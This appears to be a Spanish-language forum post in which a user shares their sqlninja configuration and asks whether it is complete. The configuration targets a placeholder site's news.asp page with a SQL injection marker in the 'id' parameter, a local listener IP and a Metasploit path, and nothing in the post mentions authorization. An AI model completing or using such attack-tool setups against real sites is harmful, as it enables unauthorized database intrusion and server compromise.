Autor
¿Como distinguir uno de otro?
este es mi sqlninja.conf:
Citar
--httprequest_start--
POST http://www.OBJETIVO.com/news.asp? HTTP/1.0
Host: www.OBJETIVO.com/
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060418 Firefox/1.0.8
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*
Accept-Language: en-us,en;q=0.7,it;q=0.3
Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Content-Type: application/x-www-form-urlencoded
Connection: close
id=1;__SQL2INJECT__
--httprequest_end--
POST http://www.OBJETIVO.com/news.asp? HTTP/1.0
Host: www.OBJETIVO.com/
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060418 Firefox/1.0.8
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*
Accept-Language: en-us,en;q=0.7,it;q=0.3
Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Content-Type: application/x-www-form-urlencoded
Connection: close
id=1;__SQL2INJECT__
--httprequest_end--
Citar
lhost = 192.168.1.130
Citar
# Interface to sniff when in backscan mode
device = wlna0
device = wlna0
Citar
msfpath = /opt/MSF/trunk
Tambien comente las lineas del proxy, la IP y el PORT.
Estas son las modificaciones que tengo, y no se si es necesario hacer alguna mas.
En línea
